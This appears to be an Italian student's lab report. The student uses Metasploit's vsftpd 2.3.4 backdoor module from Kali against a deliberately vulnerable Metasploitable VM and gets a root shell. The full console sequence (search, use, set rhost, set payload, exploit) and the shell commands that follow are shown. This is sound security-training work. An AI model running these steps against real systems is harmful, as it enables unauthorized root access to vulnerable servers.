

CONSEGNA U2 S7 L1

Per partire ho settato l'IP della Metasploitable al valore richiesto dall'esercizio (192.168.1.149). Riavviato tutto e controllato se fosse correttamente impostato con il comando **ip a**.

```
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:33:90:f7 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.149/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fe33:90f7/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$
```

Poi mi sono spostato sulla Kali per avviare **msfconsole** e usando il comando **search vsftpd** ho cercato gli exploit che mi interessano. In questo caso l'esercizio richiede di effettuare l'attacco al servizio vsftpd. Ho usato **use** seguito dal numeretto 1 per selezionare lo script da me scelto. Col comando **show info** ho verificato di che parametri avesse bisogno lo script per funzionare correttamente.

```
msf6 > search vsftpd

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

```
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show info

Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03

Provided by:
hdm <x@hdm.io>
MC <mc@metasploit.com>

Available targets:
  Id  Name
  --  --
  => 0  Automatic

Check supported:
No

Basic options:
  Name      Current Setting  Required  Description
  ----      -
  RHOSTS
  RPORT 21
```

Ho inserito tramite **set rhost** l'IP della Meta ed ho verificato nuovamente con **show info**.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.1.149
rhost => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show info

Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03

Provided by:
hdm <x@hdm.io>
MC <mc@metasploit.com>

Available targets:
  Id  Name
  --  ---
=> 0   Automatic

Check supported:
No

Basic options:
  Name      Current Setting  Required  Description
  ---      -
RHOSTS     192.168.1.149   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      21               yes       The target port (TCP)
```

Con il comando **show payloads** mi premuro di visionare l'elenco di payloads per far funzionare correttamente l'attacco tramite exploit. Tramite il comando **set payload** seguito dal numeretto corrispondente, seleziono quello che mi interessa utilizzare.

Infine digitando **exploit** faccio partire l'attacco.

Dopo esser riuscito ad entrare nella shell provo ad usare il comando **ls** per visualizzare le cartelle ed i file presenti nel percorso presente. Si vede dallo screenshot che ci troviamo all'interno della root (/); ho usato il comando **pwd**.

Con il comando **id** possiamo verificare che abbiamo fatto l'accesso mediante utente root.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
-----
#      Name                               Disclosure Date   Rank   Check   Description
-      -
0      payload/cmd/unix/interact .               normal   No      Unix Command, Interact with Established Connect
ion

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload 0
payload => cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:43485 -> 192.168.1.149:6200) at 2024-07-08 17:02:55 +0200

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
pwd
/
id
uid=0(root) gid=0(root)
```

Tramite il comando **mkdir**, infine, creo la cartella *test_metasploit* come richiesto dall'esercizio.

```
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
█
```